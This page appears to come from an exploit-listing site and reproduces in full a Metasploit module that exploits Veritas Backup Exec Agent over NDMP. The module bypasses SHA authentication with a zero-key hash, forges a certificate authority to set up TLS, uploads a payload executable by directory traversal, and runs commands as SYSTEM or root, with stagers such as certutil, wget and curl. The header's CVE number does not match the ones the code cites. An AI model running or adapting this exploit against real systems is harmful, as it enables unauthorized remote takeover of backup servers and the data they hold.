Veritas Backup Exec Agent Remote Code Execution
CVE
Category
Price
Severity
CVE-2017-5052
CWE-77
$10,000
High
Author
Risk
Exploitation Type
Date
Unknown
Critical
Remote
2022-09-28
CPE
cpe:cpe:/a:veritas:backup_exec_agent
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Network AV The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required None PR The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction None UI The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2022090085 Below is a copy:
Veritas Backup Exec Agent Remote Code Execution # frozen_string_literal: true
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::NDMPSocket
include Msf::Exploit::CmdStager
include Msf::Exploit::EXE
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Veritas Backup Exec Agent Remote Code Execution',
'Description' => %q{
Veritas Backup Exec Agent supports multiple authentication schemes and SHA authentication is one of them.
This authentication scheme is no longer used within Backup Exec versions, but hadnt yet been disabled.
An attacker could remotely exploit the SHA authentication scheme to gain unauthorized access to
the BE Agent and execute an arbitrary OS command on the host with NT AUTHORITY\SYSTEM or root privileges
depending on the platform.
The vulnerability presents in 16.x, 20.x and 21.x versions of Backup Exec up to 21.2 (or up to and
including Backup Exec Remote Agent revision 9.3)
},
'License' => MSF_LICENSE,
'Author' => ['Alexander Korotin <0xc0rs[at]gmail.com>'],
'References' => [
['CVE', '2021-27876'],
['CVE', '2021-27877'],
['CVE', '2021-27878'],
['URL', 'https://www.veritas.com/content/support/en_US/security/VTS21-001']
],
'Platform' => %w[win linux],
'Targets' => [
[
'Windows',
{
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'CmdStagerFlavor' => %w[certutil vbs psh_invokewebrequest debug_write debug_asm]
}
],
[
'Linux',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'CmdStagerFlavor' => %w[bourne wget curl echo]
}
]
],
'DefaultOptions' => {
'RPORT' => 10_000
},
'Privileged' => true,
'DisclosureDate' => '2021-03-01',
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => [UNRELIABLE_SESSION],
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('SHELL', [true, 'The shell for executing OS command', '/bin/bash'],
conditions: ['TARGET', '==', 'Linux'])
])
deregister_options('SRVHOST', 'SRVPORT', 'SSL', 'SSLCert', 'URIPATH')
end
def execute_command(cmd, opts = {})
case target.opts['Platform']
when 'win'
wrap_cmd = "C:\\Windows\\System32\\cmd.exe /c \"#{cmd}\""
when 'linux'
wrap_cmd = "#{datastore['SHELL']} -c \"#{cmd}\""
end
ndmp_sock = opts[:ndmp_sock]
ndmp_sock.do_request_response(
NDMP::Message.new_request(
NDMP_EXECUTE_COMMAND,
NdmpExecuteCommandReq.new({ cmd: wrap_cmd, unknown: 0 }).to_xdr
)
)
end
def exploit
print_status('Exploiting ...')
ndmp_status, ndmp_sock, msg_fail_reason = ndmp_connect
fail_with(Msf::Module::Failure::NotFound, "Can not connect to BE Agent service. #{msg_fail_reason}") unless ndmp_status
ndmp_status, msg_fail_reason = tls_enabling(ndmp_sock)
fail_with(Msf::Module::Failure::UnexpectedReply, "Can not establish TLS connection. #{msg_fail_reason}") unless ndmp_status
ndmp_status, msg_fail_reason = sha_authentication(ndmp_sock)
fail_with(Msf::Module::Failure::NotVulnerable, "Can not authenticate with SHA. #{msg_fail_reason}") unless ndmp_status
if target.opts['Platform'] == 'win'
filename = "#{rand_text_alpha(8)}.exe"
ndmp_status, msg_fail_reason = win_write_upload(ndmp_sock, filename)
if ndmp_status
ndmp_status, msg_fail_reason = exec_win_command(ndmp_sock, filename)
fail_with(Msf::Module::Failure::PayloadFailed, "Can not execute payload. #{msg_fail_reason}") unless ndmp_status
else
print_status('Can not upload payload with NDMP_FILE_WRITE packet. Trying to upload with CmdStager')
execute_cmdstager({ ndmp_sock: ndmp_sock, linemax: 512 })
end
else
print_status('Uploading payload with CmdStager')
execute_cmdstager({ ndmp_sock: ndmp_sock, linemax: 512 })
end
end
def check
print_status('Checking vulnerability')
ndmp_status, ndmp_sock, msg_fail_reason = ndmp_connect
return Exploit::CheckCode::Unknown("Can not connect to BE Agent service. #{msg_fail_reason}") unless ndmp_status
print_status('Getting supported authentication types')
ndmp_msg = ndmp_sock.do_request_response(
NDMP::Message.new_request(NDMP::Message::CONFIG_GET_SERVER_INFO)
)
ndmp_payload = NdmpConfigGetServerInfoRes.from_xdr(ndmp_msg.body)
print_status("Supported authentication by BE agent: #{ndmp_payload.auth_types.map do |k, _|
"#{AUTH_TYPES[k]} (#{k})"
end.join(', ')}")
print_status("BE agent revision: #{ndmp_payload.revision}")
if ndmp_payload.auth_types.include?(5)
Exploit::CheckCode::Appears('SHA authentication is enabled')
else
Exploit::CheckCode::Safe('SHA authentication is disabled')
end
end
def ndmp_connect
print_status('Connecting to BE Agent service')
ndmp_msg = nil
begin
ndmp_sock = NDMP::Socket.new(connect)
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout,
Rex::ConnectionRefused => e
return [false, nil, e.to_s]
end
begin
Timeout.timeout(datastore['ConnectTimeout']) do
ndmp_msg = ndmp_sock.read_ndmp_msg(NDMP::Message::NOTIFY_CONNECTED)
end
rescue Timeout::Error
return [false, nil, 'No NDMP_NOTIFY_CONNECTED (0x502) packet from BE Agent service']
else
ndmp_payload = NdmpNotifyConnectedRes.from_xdr(ndmp_msg.body)
end
ndmp_msg = ndmp_sock.do_request_response(
NDMP::Message.new_request(
NDMP::Message::CONNECT_OPEN,
NdmpConnectOpenReq.new({ version: ndmp_payload.version }).to_xdr
)
)
ndmp_payload = NdmpConnectOpenRes.from_xdr(ndmp_msg.body)
unless ndmp_payload.err_code.zero?
return [false, ndmp_sock, "Error code of NDMP_CONNECT_OPEN (0x900) packet: #{ndmp_payload.err_code}"]
end
[true, ndmp_sock, nil]
end
def tls_enabling(ndmp_sock)
print_status('Enabling TLS for NDMP connection')
ndmp_tls_certs = NdmpTlsCerts.new('VeritasBE', datastore['RHOSTS'].to_s)
ndmp_tls_certs.forge_ca
ndmp_msg = ndmp_sock.do_request_response(
NDMP::Message.new_request(
NDMP_SSL_HANDSHAKE,
NdmpSslHandshakeReq.new(ndmp_tls_certs.default_sslpacket_content(NdmpTlsCerts::SSL_HANDSHAKE_TYPES[:SSL_HANDSHAKE_CSR_REQ])).to_xdr
)
)
ndmp_payload = NdmpSslHandshakeRes.from_xdr(ndmp_msg.body)
unless ndmp_payload.err_code.zero?
return [false, "Error code of SSL_HANDSHAKE_CSR_REQ (2) packet: #{ndmp_payload.err_code}"]
end
ndmp_tls_certs.sign_agent_csr(ndmp_payload.data)
ndmp_msg = ndmp_sock.do_request_response(
NDMP::Message.new_request(
NDMP_SSL_HANDSHAKE,
NdmpSslHandshakeReq.new(ndmp_tls_certs.default_sslpacket_content(NdmpTlsCerts::SSL_HANDSHAKE_TYPES[:SSL_HANDSHAKE_CSR_SIGNED])).to_xdr
)
)
ndmp_payload = NdmpSslHandshakeRes.from_xdr(ndmp_msg.body)
unless ndmp_payload.err_code.zero?
return [false, "Error code of SSL_HANDSHAKE_CSR_SIGNED (3) packet: #{ndmp_payload.err_code}"]
end
ndmp_msg = ndmp_sock.do_request_response(
NDMP::Message.new_request(
NDMP_SSL_HANDSHAKE,
NdmpSslHandshakeReq.new(ndmp_tls_certs.default_sslpacket_content(NdmpTlsCerts::SSL_HANDSHAKE_TYPES[:SSL_HANDSHAKE_CONNECT])).to_xdr
)
)
ndmp_payload = NdmpSslHandshakeRes.from_xdr(ndmp_msg.body)
unless ndmp_payload.err_code.zero?
return [false, "Error code of SSL_HANDSHAKE_CONNECT (4) packet: #{ndmp_payload.err_code}"]
end
ssl_context = OpenSSL::SSL::SSLContext.new
ssl_context.add_certificate(ndmp_tls_certs.ca_cert, ndmp_tls_certs.ca_key)
ndmp_sock.wrap_with_ssl(ssl_context)
[true, nil]
end
def sha_authentication(ndmp_sock)
print_status('Passing SHA authentication')
ndmp_msg = ndmp_sock.do_request_response(
NDMP::Message.new_request(
NDMP_CONFIG_GET_AUTH_ATTR,
NdmpConfigGetAuthAttrReq.new({ auth_type: 5 }).to_xdr
)
)
ndmp_payload = NdmpConfigGetAuthAttrRes.from_xdr(ndmp_msg.body)
unless ndmp_payload.err_code.zero?
return [false, "Error code of NDMP_CONFIG_GET_AUTH_ATTR (0x103) packet: #{ndmp_payload.err_code}"]
end
ndmp_msg = ndmp_sock.do_request_response(
NDMP::Message.new_request(
NDMP::Message::CONNECT_CLIENT_AUTH,
NdmpConnectClientAuthReq.new(
{
auth_type: 5,
username: 'Administrator', # Doesn't metter
hash: Digest::SHA256.digest("\x00" * 64 + ndmp_payload.challenge)
}
).to_xdr
)
)
ndmp_payload = NdmpConnectClientAuthRes.from_xdr(ndmp_msg.body)
unless ndmp_payload.err_code.zero?
return [false, "Error code of NDMP_CONECT_CLIENT_AUTH (0x901) packet: #{ndmp_payload.err_code}"]
end
[true, nil]
end
def win_write_upload(ndmp_sock, filename)
print_status('Uploading payload with NDMP_FILE_WRITE packet')
ndmp_msg = ndmp_sock.do_request_response(
NDMP::Message.new_request(
NDMP_FILE_OPEN_EXT,
NdmpFileOpenExtReq.new(
{
filename: filename,
dir: '..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Windows\\Temp',
mode: 4
}
).to_xdr
)
)
ndmp_payload = NdmpFileOpenExtRes.from_xdr(ndmp_msg.body)
unless ndmp_payload.err_code.zero?
return [false, "Error code of NDMP_FILE_OPEN_EXT (0xf308) packet: #{ndmp_payload.err_code}"]
end
hnd = ndmp_payload.handler
exe = generate_payload_exe
offset = 0
block_size = 2048
while offset < exe.length
ndmp_msg = ndmp_sock.do_request_response(
NDMP::Message.new_request(
NDMP_FILE_WRITE,
NdmpFileWriteReq.new({ handler: hnd, len: block_size, data: exe[offset, block_size] }).to_xdr
)
)
ndmp_payload = NdmpFileWriteRes.from_xdr(ndmp_msg.body)
unless ndmp_payload.err_code.zero?
return [false, "Error code of NDMP_FILE_WRITE (0xF309) packet: #{ndmp_payload.err_code}"]
end
offset += block_size
end
ndmp_msg = ndmp_sock.do_request_response(
NDMP::Message.new_request(
NDMP_FILE_CLOSE,
NdmpFileCloseReq.new({ handler: hnd }).to_xdr
)
)
ndmp_payload = NdmpFileCloseRes.from_xdr(ndmp_msg.body)
unless ndmp_payload.err_code.zero?
return [false, "Error code of NDMP_FILE_CLOSE (0xF306) packet: #{ndmp_payload.err_code}"]
end
[true, nil]
end
def exec_win_command(ndmp_sock, filename)
cmd = "C:\\Windows\\System32\\cmd.exe /c \"C:\\Windows\\Temp\\#{filename}\""
ndmp_msg = ndmp_sock.do_request_response(
NDMP::Message.new_request(
NDMP_EXECUTE_COMMAND,
NdmpExecuteCommandReq.new({ cmd: cmd, unknown: 0 }).to_xdr
)
)
ndmp_payload = NdmpExecuteCommandRes.from_xdr(ndmp_msg.body)
unless ndmp_payload.err_code.zero?
return [false, "Error code of NDMP_EXECUTE_COMMAND (0xF30F) packet: #{ndmp_payload.err_code}"]
end
[true, nil]
end
# Class to create CA and client certificates
class NdmpTlsCerts
def initialize(hostname, ip)
@hostname = hostname
@ip = ip
@ca_key = nil
@ca_cert = nil
@be_agent_cert = nil
end
SSL_HANDSHAKE_TYPES = {
SSL_HANDSHAKE_TEST_CERT: 1,
SSL_HANDSHAKE_CSR_REQ: 2,
SSL_HANDSHAKE_CSR_SIGNED: 3,
SSL_HANDSHAKE_CONNECT: 4
}.freeze
attr_reader :ca_cert, :ca_key
def forge_ca
@ca_key = OpenSSL::PKey::RSA.new(2048)
@ca_cert = OpenSSL::X509::Certificate.new
@ca_cert.version = 2
@ca_cert.serial = rand(2**32..2**64 - 1)
@ca_cert.subject = @ca_cert.issuer = OpenSSL::X509::Name.parse("/CN=#{@hostname}")
extn_factory = OpenSSL::X509::ExtensionFactory.new(@ca_cert, @ca_cert)
@ca_cert.extensions = [
extn_factory.create_extension('subjectKeyIdentifier', 'hash'),
extn_factory.create_extension('basicConstraints', 'CA:TRUE'),
extn_factory.create_extension('keyUsage', 'keyCertSign, cRLSign')
]
@ca_cert.add_extension(extn_factory.create_extension('authorityKeyIdentifier', 'keyid:always'))
@ca_cert.public_key = @ca_key.public_key
@ca_cert.not_before = Time.now - 7 * 60 * 60 * 24
@ca_cert.not_after = Time.now + 14 * 24 * 60 * 60
@ca_cert.sign(@ca_key, OpenSSL::Digest.new('SHA256'))
end
def sign_agent_csr(csr)
o_csr = OpenSSL::X509::Request.new(csr)
@be_agent_cert = OpenSSL::X509::Certificate.new
@be_agent_cert.version = 2
@be_agent_cert.serial = rand(2**32..2**64 - 1)
@be_agent_cert.not_before = Time.now - 7 * 60 * 60 * 24
@be_agent_cert.not_after = Time.now + 14 * 24 * 60 * 60
@be_agent_cert.issuer = @ca_cert.subject
@be_agent_cert.subject = o_csr.subject
@be_agent_cert.public_key = o_csr.public_key
@be_agent_cert.sign(@ca_key, OpenSSL::Digest.new('SHA256'))
end
def default_sslpacket_content(ssl_packet_type)
if ssl_packet_type == SSL_HANDSHAKE_TYPES[:SSL_HANDSHAKE_CSR_SIGNED]
ca_cert = @ca_cert.to_s
agent_cert = @be_agent_cert.to_s
else
ca_cert = ''
agent_cert = ''
end
{
ssl_packet_type: ssl_packet_type,
hostname: @hostname,
nb_hostname: @hostname.upcase,
ip_addr: @ip,
cert_id1: get_cert_id(@ca_cert),
cert_id2: get_cert_id(@ca_cert),
unknown1: 0,
unknown2: 0,
ca_cert_len: ca_cert.length,
ca_cert: ca_cert,
agent_cert_len: agent_cert.length,
agent_cert: agent_cert
}
end
def get_cert_id(cert)
Digest::SHA1.digest(cert.issuer.to_s + cert.serial.to_s(2))[0...4].unpack1('L<')
end
end
NDMP_CONFIG_GET_AUTH_ATTR = 0x103
NDMP_SSL_HANDSHAKE = 0xf383
NDMP_EXECUTE_COMMAND = 0xf30f
NDMP_FILE_OPEN_EXT = 0xf308
NDMP_FILE_WRITE = 0xF309
NDMP_FILE_CLOSE = 0xF306
AUTH_TYPES = {
1 => 'Text',
2 => 'MD5',
3 => 'BEWS',
4 => 'SSPI',
5 => 'SHA',
190 => 'BEWS2' # 0xBE
}.freeze
# Responce packets
class NdmpNotifyConnectedRes < XDR::Struct
attribute :connected, XDR::Int
attribute :version, XDR::Int
attribute :reason, XDR::Int
end
class NdmpConnectOpenRes < XDR::Struct
attribute :err_code, XDR::Int
end
class NdmpConfigGetServerInfoRes < XDR::Struct
attribute :err_code, XDR::Int
attribute :vendor_name, XDR::String[]
attribute :product_name, XDR::String[]
attribute :revision, XDR::String[]
attribute :auth_types, XDR::VarArray[XDR::Int]
end
class NdmpConfigGetHostInfoRes < XDR::Struct
attribute :err_code, XDR::Int
attribute :hostname, XDR::String[]
attribute :os, XDR::String[]
attribute :os_info, XDR::String[]
attribute :ip, XDR::String[]
end
class NdmpSslHandshakeRes < XDR::Struct
attribute :data_len, XDR::Int
attribute :data, XDR::String[]
attribute :err_code, XDR::Int
attribute :unknown4, XDR::String[]
end
class NdmpConfigGetAuthAttrRes < XDR::Struct
attribute :err_code, XDR::Int
attribute :auth_type, XDR::Int
attribute :challenge, XDR::Opaque[64]
end
class NdmpConnectClientAuthRes < XDR::Struct
attribute :err_code, XDR::Int
end
class NdmpExecuteCommandRes < XDR::Struct
attribute :err_code, XDR::Int
end
class NdmpFileOpenExtRes < XDR::Struct
attribute :err_code, XDR::Int
attribute :handler, XDR::Int
end
class NdmpFileWriteRes < XDR::Struct
attribute :err_code, XDR::Int
attribute :recv_len, XDR::Int
attribute :unknown, XDR::Int
end
class NdmpFileCloseRes < XDR::Struct
attribute :err_code, XDR::Int
end
# Request packets
class NdmpConnectOpenReq < XDR::Struct
attribute :version, XDR::Int
end
class NdmpSslHandshakeReq < XDR::Struct
attribute :ssl_packet_type, XDR::Int
attribute :nb_hostname, XDR::String[]
attribute :hostname, XDR::String[]
attribute :ip_addr, XDR::String[]
attribute :cert_id1, XDR::Int
attribute :cert_id2, XDR::Int
attribute :unknown1, XDR::Int
attribute :unknown2, XDR::Int
attribute :ca_cert_len, XDR::Int
attribute :ca_cert, XDR::String[]
attribute :agent_cert_len, XDR::Int
attribute :agent_cert, XDR::String[]
end
class NdmpConfigGetAuthAttrReq < XDR::Struct
attribute :auth_type, XDR::Int
end
class NdmpConnectClientAuthReq < XDR::Struct
attribute :auth_type, XDR::Int
attribute :username, XDR::String[]
attribute :hash, XDR::Opaque[32]
end
class NdmpExecuteCommandReq < XDR::Struct
attribute :cmd, XDR::String[]
attribute :unknown, XDR::Int
end
class NdmpFileOpenExtReq < XDR::Struct
attribute :filename, XDR::String[]
attribute :dir, XDR::String[]
attribute :mode, XDR::Int
end
class NdmpFileWriteReq < XDR::Struct
attribute :handler, XDR::Int
attribute :len, XDR::Int
attribute :data, XDR::String[]
end
class NdmpFileCloseReq < XDR::Struct
attribute :handler, XDR::Int
end
end
Copyright ©2024 Exploitalert.
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum